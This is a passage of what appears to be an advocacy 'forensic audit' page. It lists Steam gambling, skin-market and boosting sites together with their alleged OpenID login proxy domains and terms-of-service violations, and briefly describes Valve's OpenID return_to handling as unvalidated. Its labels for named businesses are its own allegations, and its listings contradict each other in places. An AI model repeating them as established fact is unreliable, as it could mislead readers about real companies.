evidence\nEX-021\tCSGOBounty\ncsgobounty.com\n\t\ncsgobounty.com\nDIRECT\n\tUpgrader/Contract\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-022\tEZSkins\nezskins.com\n\t\nezskins.com\nDIRECT\n\tSkin Roulette\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-023\tRustCases\nrustcases.com\n\t\nrustcases.com\nDIRECT\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-024\tCSGOReaper\ncsgoreaper.com\n\t\ncsgoreaper.com\nDIRECT\n\tSkin Roulette\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-025\tCSGOCases\ncsgocases.com\n\t\ncsgocases.com\nDIRECT\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-026\tCSGO-Skins\ncsgo-skins.com\n\t\ncsgo-skins.com\nDIRECT\n\tCase Upgrader\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-027\tCSGONet\ncsgonet.com\n\t\ncsgonet.com\nDIRECT\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-028\tWTFSkins\nwtfskins.com\n\t\nwtfskins.com\nDIRECT\n\tSkin Roulette\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-029\tCSGOFast\ncsgofast.com\n\t\nsteam-login.authtofast.com\nSPLIT PROXY\n\tRoulette Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-030\tDuelbits\nduelbits.com\n\t\nswitchflips.com\nSPLIT PROXY\n\tCrypto Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-031\tFlameCases\nflamecases.com\n\t\nflamecases.com\nDIRECT\n\tCase Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-032\tFarmskins\nfarmskins.com\n\t\nsteam.kobal.cc\nSPLIT PROXY\n\tCase Opener\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-033\tCSGOLuck\ncsgoluck.com\n\t\ncsgoluck.com\nDIRECT\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-034\tGamedom\ngamedom.com\n\t\ngamedom.com\nDIRECT\n\tCrypto Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-035\tSkin.Club\nskin.club\n\t\nsc-auth.net\nSPLIT PROXY\n\tCase Battles\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-036\tDaddySkins\ndaddyskins.com\n\t\ndaddyskins.com\nDIRECT\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-037\tInsane.gg\ninsane.gg\n\t\napi.insane.gg\nDIRECT\n\tSkin Roulette\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-038\tRustix\nrustix.gg\n\t\nrustix.gg\nDIRECT\n\tRust Gambling\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-039\tSkins.Club\nskins.club\n\t\nskins.club\nDIRECT\n\tSkin Upgrade\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-040\tCSGOHouse\ncsgohouse.org\n\t\ncsgohouse.org\nDIRECT\n\tSkin Roulette\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-041\tSkinRave\nskinrave.net\n\t\nskinrave.net\nDIRECT\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-042\tBloodyCase_GG\nbloodycase.gg\n\t\nbloodycase.gg\nDIRECT\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-043\tCSGOClicker\ncsgoclicker.com\n\t\ncsgoclicker.com\nDIRECT\n\tClicker/Upgrade\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-044\tRustBet_GG\nrustbet.gg\n\t\nrustbet.gg\nDIRECT\n\tRust Roulette\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-045\tCS_Drop\ncs-drop.com\n\t\ncs-drop.com\nDIRECT\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-046\tHellStore\nhellstore.net\n\t\nhellstore.net\nDIRECT\n\tSkin Roulette\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-047\tRustLoot\nrustloot.com\n\t\nrustloot.com\nDIRECT\n\tRust Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-048\tCSGO_Case\ncsgo-case.com\n\t\ncsgo-case.com\nDIRECT\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-049\tCS2Skin\ncs2skin.com\n\t\ncs2skin.com\nDIRECT\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-050\tJuice_GG\njuice.gg\n\t\nletmeinjuice.com\nSPLIT PROXY\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-051\tGGDrop\nggdrop.com\n\t\nggauth.com\nSPLIT PROXY\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-052\tCSGOGem\ncsgogem.com\n\t\ncsgogem.com\nDIRECT\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-053\tRainbet\nrainbet.com\n\t\nservices.rainbet.com\nDIRECT\n\tCrypto Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-054\tHowl_GG\nhowl.gg\n\t\nhowl.uno\nSPLIT PROXY\n\tSkins Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-055\tChicken_GG\nchicken.gg\n\t\nchicken.gg\nDIRECT\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-056\tCSGOCasino_GG\ncsgocasino.gg\n\t\napi.csgocasino.gg\nDIRECT\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-057\tHunt_GG\nhunt.gg\n\t\napi.hunt.gg\nDIRECT\n\tSkins Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-058\tCSBattle\ncsbattle.com\n\t\ncsbattle.com\nDIRECT\n\tCase Battles\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-059\tSkinRave_GG\nskinrave.gg\n\t\napi.skinrave.gg\nDIRECT\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-060\tCSDouble\ncsdouble.gg\n\t\ncsdouble.gg\nDIRECT\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-061\tRustChance\nrustchance.com\n\t\nhgfuihd.com\nSPLIT PROXY\n\tRust Roulette\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-062\tRustClash\nrustclash.com\n\t\nrustclash.com\nDIRECT\n\tRust Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-063\tCobaltLab\ncobaltlab.tech\n\t\ncobaltauth.com\nSPLIT PROXY\n\tRust Automation\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-064\tRaided_GG\nraided.gg\n\t\napi.raided.gg\nDIRECT\n\tRust Roulette\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-065\tRustNeo\nrustneo.gg\n\t\nrustneo.gg\nDIRECT\n\tRust Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-066\tSplits_GG\nsplits.gg\n\t\nsplits.gg\nDIRECT\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-067\tUpgrader_Pro\nupgrader.pro\n\t\nupgauth.space\nSPLIT PROXY\n\tSkin Upgrader\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-068\tSkinFans\nskin.fans\n\t\nauth.skinfans.com\nSPLIT PROXY\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-069\tHotPizza\nhotpizza.one\n\t\nhotpizza.one\nDIRECT\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-070\tG4Skins\ng4skins.com\n\t\nauth.g4s.to\nSPLIT PROXY\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-071\t12CS_Fail\n12cs.fail\n\t\n12cs.fail\nDIRECT\n\tCrash Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-072\tTF2Royal\ntf2royal.com\n\t\ntf2auth.com\nSPLIT PROXY\n\tTF2 Gambling\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-073\tTF2Easy\nwww.tf2easy.com\n\t\nwww.tf2easy.com\nDIRECT\n\tTF2 Gambling\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-074\tTF2Hunt\ntf2hunt.com\n\t\nrstspcl.com\nSPLIT PROXY\n\tTF2 Gambling\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-075\tTF2Bet\ntf2.bet/coinflip\n\t\ntf2.bet\nDIRECT\n\tTF2 Gambling\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-076\tTF2Blaze\ntf2blaze.com\n\t\ntf2blaze.com\nDIRECT\n\tTF2 Gambling\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-077\tOpenStars_GG\nopenstars.gg\n\t\nopenstars.gg\nDIRECT\n\tSkin Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-078\tShuffle_Com\nshuffle.com\n\t\nshuffle.com\nDIRECT\n\tCrypto Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-079\tSkins.com\nskins.com\n\t\napi.skins.com\nDIRECT\n\tCS2 Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-080\tWhite.Market\nwhite.market\n\t\nwhite.market\nDIRECT\n\tP2P Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-081\tBuff.Market\nbuff.market\n\t\nbuff.market\nDIRECT\n\tCS2 Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-082\tAvan.Market\navan.market\n\t\navan.market\nDIRECT\n\tCS2 Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-083\tCS.MONEY\ncs.money\n\t\nauth.dota.trade\nSPLIT PROXY\n\tTrading Engine\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-084\tUUSkins\nuuskins.com\n\t\nuuskins.com\nDIRECT\n\tP2P Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-085\tYouPin898\nyoupin898.com\n\t\nyoupin898.com\nDIRECT\n\tMass Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-086\tMoon.Market\nmoon.market\n\t\nmoon.market\nDIRECT\n\tP2P Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-087\tCSFloat\ncsfloat.com\n\t\ncsgofloat.com\nSPLIT PROXY\n\tP2P Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-088\tSkin.Land\nskin.land\n\t\nauth.skin.land\nDIRECT\n\tSkins Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-089\tC5Game\nc5game.com\n\t\nc5game.com\nDIRECT\n\tCS2 Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-090\tHaloSkins\nhaloskins.com\n\t\nhaloskins.com\nDIRECT\n\tSkins Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-091\tBuff.163\nbuff.163.com\n\t\nbuff.163.com\nDIRECT\n\tCorporate Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-092\tWaxpeer\nwaxpeer.com\n\t\nwaxpeer.com\nDIRECT\n\tP2P Marketplace\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-093\tCS.MONEY Bot\ncs.money\n\t\nauth.dota.trade\nSPLIT PROXY\n\tBot Trading\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-094\tMarket.CSGO\nmarket.csgo.com\n\t\ndota2.net\nSPLIT PROXY\n\tP2P Marketplace\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-095\tSkinport\nskinport.com\n\t\nskinport.app\nSPLIT PROXY\n\tRegulated Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-096\tSkinFlow\nskinflow.gg\n\t\napi.skinflow.gg\nDIRECT\n\tMarketplace/Swap\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-097\tDMarket\ndmarket.com\n\t\ndmarket.com\nDIRECT\n\tUS Marketplace\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-098\tSkin.place\nskin.place\n\t\napi.skin.place\nDIRECT\n\tSkins Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-099\tSkinsMonkey\nskinsmonkey.com\n\t\nskinsmonkey.com\nDIRECT\n\tInstant Swap\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-100\tSkinBaron\nskinbaron.de\n\t\nskinbaron.com\nSPLIT PROXY\n\tCorporate Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-101\tSteam\nsteamcommunity.com/market\n\t\nsteamcommunity.com/market\nDIRECT\n\tOfficial Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-102\tRustTM\nrust.tm\n\t\ndota2.net\nSPLIT PROXY\n\tRust Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-103\tPirateSwap\npirateswap.com\n\t\nlogin.pirateswap.com\nDIRECT\n\tInstant Swap\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-104\tMannco.Store\nmannco.store\n\t\nmannco.store\nDIRECT\n\tTF2 Marketplace\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-105\tSkinSwap\nskinswap.com\n\t\napi.skinswap.com\nDIRECT\n\tInstant Swap\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-106\tLootFarm\nlootfarm.com\n\t\nlootfarm.com\nDIRECT\n\tTrading Platform\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-107\tRustskins\nrustskins.com\n\t\nrustskins.com\nDIRECT\n\tRust Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-108\tExeSkins\nexeskins.com\n\t\nexeskins.com\nDIRECT\n\tP2P Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-109\tBalticSkins\nbalticskins.com\n\t\nbalticskins.com\nDIRECT\n\tSkins Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-110\tCS.Trade\ncs.trade\n\t\ncs.trade\nDIRECT\n\tInstant Swap\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-111\tRapidSkins\nrapidskins.com\n\t\napi.rapidskins.com\nDIRECT\n\tCS2 Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-112\tTradeIt\ntradeit.gg\n\t\nconnect-tradeit.com\nSPLIT PROXY\n\tCS2 Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-113\tKrakatoa\nkrakatoa.com\n\t\nkrakatoa.com\nDIRECT\n\tCS2 Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-114\tShadowPay\nshadowpay.com\n\t\nshadowpay.com\nDIRECT\n\tP2P Marketplace\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-115\t49skins\n49skins.com\n\t\napi.49skins.com\nDIRECT\n\tCS2 Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-116\tSkinVault\nskinvault.gg\n\t\napi.skinvault.gg\nDIRECT\n\tCS2 Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-117\tAim Market\naim.market\n\t\naim.market\nDIRECT\n\tSkins Trading\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-118\tSkinout\nskinout.gg\n\t\nauth.skinout.gg\nDIRECT\n\tInstant Sell Portal\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-119\tNTSkins\nntskins.com\n\t\nntskins.com\nDIRECT\n\tSkins Trading\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-120\tIGXE\nigxe.cn\n\t\nigxe.cn\nDIRECT\n\tChinese Powerhouse\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-121\tSwap.gg\nswap.gg\n\t\nswap.gg\nDIRECT\n\tAutomated Swap\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-122\tBitskins\nbitskins.com\n\t\nbitskins.com\nDIRECT\n\tCash-out Portal\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-123\tGamerPay\ngamerpay.gg\n\t\ngamerpay.gg\nDIRECT\n\tP2P Portal\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-124\tTF2Mart\ntf2mart.com\n\t\ntf2mart.com\nDIRECT\n\tTF2 Automation\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-125\tSkinBid\nskinbid.com\n\t\nskinbid.com\nDIRECT\n\tSkin Auctions\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-126\tLootBear\nlootbear.com\n\t\nlootbear.com\nDIRECT\n\tSkin Rental\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-127\tBackpack.tf\nbackpack.tf\n\t\nbackpack.tf\nDIRECT\n\tTF2 Valuation\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-128\tScrap.tf\nscrap.tf\n\t\nscrap.tf\nDIRECT\n\tTF2 Scrap Swap\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-129\tMarketplace.tf\nmarketplace.tf\n\t\nmarketplace.tf\nDIRECT\n\tTF2 Cashout\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-130\tSTNTrading\nstntrading.eu\n\t\nstntrading.eu\nDIRECT\n\tTF2 Botnet\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-131\tSkins.Cash\nskins.cash\n\t\nskinscash.live\nSPLIT PROXY\n\tInstant Cashout\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-132\tSkinWallet\nskinwallet.com\n\t\nskinwallet.com\nDIRECT\n\tInstant Cashout\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-133\tDota2Market\ndota2market.com\n\t\ndota2market.com\nDIRECT\n\tDota 2 Market\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-134\tCSGO.NET\ncsgo.net\n\t\ncn2.easylot.net\nSPLIT PROXY\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-135\tCybershoke\ncybershoke.net\n\t\nauth.cybershoke.net\nDIRECT\n\tCommunity Hub\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-136\tXPlay_GG\nxplay.gg\n\t\nxplay.gg\nDIRECT\n\tServer Network\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-137\tFastCup\nfastcup.net\n\t\napi.fastcup.net\nDIRECT\n\tMatchmaker Hub\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-138\tEsportal\nesportal.com\n\t\nesportal.com\nDIRECT\n\tMatchmaking Portal\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-139\tGamersClub\ngamersclub.com.br\n\t\ngamersclub.com.br\nDIRECT\n\tLATAM Hub\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-140\tLeetify\nleetify.com\n\t\nleetify.com\nDIRECT\n\tSaaS Analytics\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-141\tScope_GG\nscope.gg\n\t\nscope.gg\nDIRECT\n\tSaaS Analytics\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-142\tTradeUpSpy\ntradeupspy.com\n\t\napi.tradeupspy.com\nDIRECT\n\tSaaS Tools\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-143\tEpidemic_GG\nepidemic.gg\n\t\nepidemic.gg\nDIRECT\n\tSaaS Tools\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-144\tCSDeals\ncs.deals\n\t\napi.cs.deals\nDIRECT\n\tMarketplace\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-145\tPricempire\npricempire.com\n\t\npricempire.com\nDIRECT\n\tSaaS Price DB\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-146\tCS2Stash\ncs2stash.com\n\t\ncs2stash.com\nDIRECT\n\tSaaS Index\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-147\tCSGOSkins\ncsgoskins.gg\n\t\ncsgoskins.gg\nDIRECT\n\tSaaS Index\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-148\tSteamAnalyst\nsteamanalyst.com\n\t\nsteamanalyst.com\nDIRECT\n\tSaaS Index\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-149\tSteamCardExchange\nsteamcardexchange.net\n\t\nsteamcardexchange.net\nDIRECT\n\tTrading Exchange\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-150\tDotaBuff\ndotabuff.com\n\t\ndotabuff.com\nDIRECT\n\tSaaS Tracker\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-151\tTracker_GG\ntracker.gg\n\t\ntracker.gg\nDIRECT\n\tSaaS Tracker\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-152\tFSB Market (an anonymized label; the original name is withheld here)\nFSB Market\n\t\nFSB Market\nDIRECT\n\tMass Blackmarket\tSSA § 2.G, SSA § 4.C, SSA § 1.C\tSee dated evidence\nEX-153\tFunPay\nfunpay.com\n\t\nfunpay.com\nDIRECT\n\tAccount Exchange\tSSA § 2.G, SSA § 4.C, SSA § 1.C\tSee dated evidence\nEX-154\tPlayerAuctions\nplayerauctions.com\n\t\nplayerauctions.com\nDIRECT\n\tGrey Market\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-155\tEldorado.gg\neldorado.gg\n\t\neldorado.gg\nDIRECT\n\tAccount Portal\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-156\tG2A\ng2a.com\n\t\ng2a.com\nDIRECT\n\tMass Key Market\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-157\tKinguin\nkinguin.net\n\t\nkinguin.net\nDIRECT\n\tMass Key Market\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-158\tG2G.com\ng2g.com\n\t\ng2g.com\nDIRECT\n\tVirtual Services\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-159\tPlayerup\nplayerup.com\n\t\nplayerup.com\nDIRECT\n\tAccount Broker\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-160\tZ2U.com\nz2u.com\n\t\nwww.z2u.com\nDIRECT\n\tReady-Account Hub\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-161\tSmurfHub\nsmurfhub.net\n\t\nsmurfhub.net\nDIRECT\n\tSmurf Shop\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-162\tSmurfAccounts\nsmurfaccounts.com\n\t\nsmurfaccounts.com\nDIRECT\n\tSmurf Shop\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-163\tBuyCSGORank\nbuycsgorank.com\n\t\nbuycsgorank.com\nDIRECT\n\tRank Shop\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-164\tCSGOSmurfKings\ncsgosmurfkings.com\n\t\ncsgosmurfkings.com\nDIRECT\n\tSmurf Shop\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-165\tSmurfStore_Co\nsmurfstore.co\n\t\nsmurfstore.co\nDIRECT\n\tSmurf Shop\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-166\tSteamLvlUp\nsteamlvlup.com\n\t\nsteamlvlup.com\nDIRECT\n\tCard Leveling\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-167\tSteamLevels\nsteamlevels.com\n\t\nsteamlevels.com\nDIRECT\n\tCard Leveling\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-168\tLevelSteam\nlevelsteam.com\n\t\nlevelsteam.com\nDIRECT\n\tCard Leveling\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-169\tSteamLevelU\nsteamlevelu.com\n\t\nsteamlevelu.com\nDIRECT\n\tCard Leveling\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-170\tEloKing\neloking.com\n\t\neloking.com\nDIRECT\n\tRank Boosting\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-171\tBoosteria\nboosteria.org\n\t\nboosteria.org\nDIRECT\n\tRank Boosting\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-172\tOvergear\novergear.com\n\t\novergear.com\nDIRECT\n\tBoosting SaaS\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-173\tBlazingBoost\nblazingboost.com\n\t\nblazingboost.com\nDIRECT\n\tBoosting SaaS\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-174\tDota2Boost\ndota2boost.com\n\t\ndota2boost.com\nDIRECT\n\tRank Boosting\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nEX-175\tBuyBoost\nbuyboost.com\n\t\nbuyboost.com\nDIRECT\n\tBoosting SaaS\tSSA § 2.G, SSA § 1.C\tSee dated evidence\nSection IV: Technical Architecture & Authentication Mechanics REF: TECH-ANALYSIS-01\n\n1. Absence of Domain Ownership Validation in OpenID 2.0: Valve's implementation of the OpenID 2.0 protocol (https://steamcommunity.com/openid/login) evaluates the openid.return_to and openid.realm parameters without requiring prior developer registration, cryptographic challenge verification, or domain ownership validation. Any commercial operator can direct users to Valve's login screen and receive a cryptographically signed identity assertion (containing the 64-bit SteamID) redirected to arbitrary domains.\n\n2. Programmatic Inventory Querying & API Key Abuse: Once user authentication is confirmed via OpenID, operators query public and partner Web API endpoints (IEconItems_730/GetPlayerItems) to index inventory assets in real-time. Automated trading networks employ programmatic session tokens to submit, poll, and accept peer-to-peer (P2P) trade offers, directly contravening SSA § 4.C's prohibition on non-human interaction.\n\n3. Link Filter Asymmetry: The coexistence of consumer-facing domain warnings alongside fully functional authentication endpoints creates a regulatory contradiction: Valve's security telemetry classifies these operators as \"potentially malicious\", yet Valve's authentication infrastructure continues to authenticate their user base.\n\nEvidentiary Methodology & Chain of Custody Declaration\n\nThis document was generated from unauthenticated network captures, historical RDAP registry queries, and verified cryptographic hash manifests. No user login credentials were compromise-tested or processed. All findings reflect observable production network state as of September 2026. This act serves as a non-partisan technical exhibit prepared for judicial, regulatory, and public inquiries.\n\nDIGEST: SHA-256 VERIFIED\nc507c9025f93da0aadaf395c4d8882f25973211c318ee8e9b6f18a5b3755e050\nARCHIVE: OPEN LEGAL RECORD\nISSUED & SIGNED BY: phishdestroy.io · Forensic Research Coalition\nLEGAL STATUS: ALL RIGHTS SURRENDERED TO HUMANITY · CC0 UNIVERSAL PUBLIC DOMAIN",
        "headings": [
          {
            "level": 1,
            "text": "Forensic Audit Act & Regulatory Exhibit",
            "anchor": "pd-regulatory_act_print--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/regulatory_act_print"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/regulatory_act_print"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "#",
                "Primary Commercial Domain",
                "Main Filter",
                "OpenID Auth Proxy Domain",
                "Auth Filter",
                "RDAP Registered",
                "Capture Basis"
              ],
              [
                "01",
                "rollbit.com",
                "BLOCKED",
                "rbsnin.com",
                "CLEAN",
                "2026-09-18",
                "PASSIVE_CAPTURE"
              ],
              [
                "02",
                "skin.club",
                "BLOCKED",
                "sc-auth.net",
                "CLEAN",
                "2019-04-02",
                "PASSIVE_CAPTURE"
              ],
              [
                "03",
                "howl.gg",
                "BLOCKED",
                "howl.uno",
                "CLEAN",
                "2026-08-11",
                "PASSIVE_CAPTURE"
              ],
              [
                "04",
                "duelbits.com",
                "BLOCKED",
                "switchflips.com",
                "CLEAN",
                "2020-04-21",
                "PASSIVE_CAPTURE"
              ],
              [
                "05",
                "csgofast.com",
                "BLOCKED",
                "steam-login.authtofast.com",
                "CLEAN",
                "2026-06-30",
                "PASSIVE_CAPTURE"
              ],
              [
                "06",
                "farmskins.com",
                "BLOCKED",
                "steam.kobal.cc",
                "CLEAN",
                "2017-01-07",
                "PASSIVE_CAPTURE"
              ],
              [
                "07",
                "cobaltlab.tech",
                "BLOCKED",
                "cobaltauth.com",
                "CLEAN",
                "2025-01-07",
                "PASSIVE_CAPTURE"
              ],
              [
                "08",
                "csgo.net",
                "BLOCKED",
                "cn2.easylot.net",
                "CLEAN",
                "2016-09-03",
                "PASSIVE_CAPTURE"
              ],
              [
                "09",
                "ggdrop.com",
                "BLOCKED",
                "ggauth.com",
                "CLEAN",
                "2023-05-03",
                "PASSIVE_CAPTURE"
              ],
              [
                "10",
                "rustchance.com",
                "BLOCKED",
                "hgfuihd.com",
                "CLEAN",
                "2019-01-27",
                "PASSIVE_CAPTURE"
              ],
              [
                "11",
                "skin.fans",
                "BLOCKED",
                "auth.skinfans.com",
                "CLEAN",
                "2018-07-16",
                "PASSIVE_CAPTURE"
              ],
              [
                "12",
                "skinport.com",
                "BLOCKED",
                "skinport.app",
                "CLEAN",
                "2020-06-20",
                "PASSIVE_CAPTURE"
              ],
              [
                "13",
                "skins.cash",
                "BLOCKED",
                "skinscash.live",
                "CLEAN",
                "2019-12-05",
                "PASSIVE_CAPTURE"
              ],
              [
                "14",
                "tf2hunt.com",
                "BLOCKED",
                "rstspcl.com",
                "CLEAN",
                "2020-08-08",
                "PASSIVE_CAPTURE"
              ],
              [
                "15",
                "daddyskins.com",
                "BLOCKED",
                "go-go-daddy.com",
                "CLEAN",
                "2019-01-26",
                "PASSIVE_CAPTURE"
              ],
              [
                "16",
                "key-drop.com",
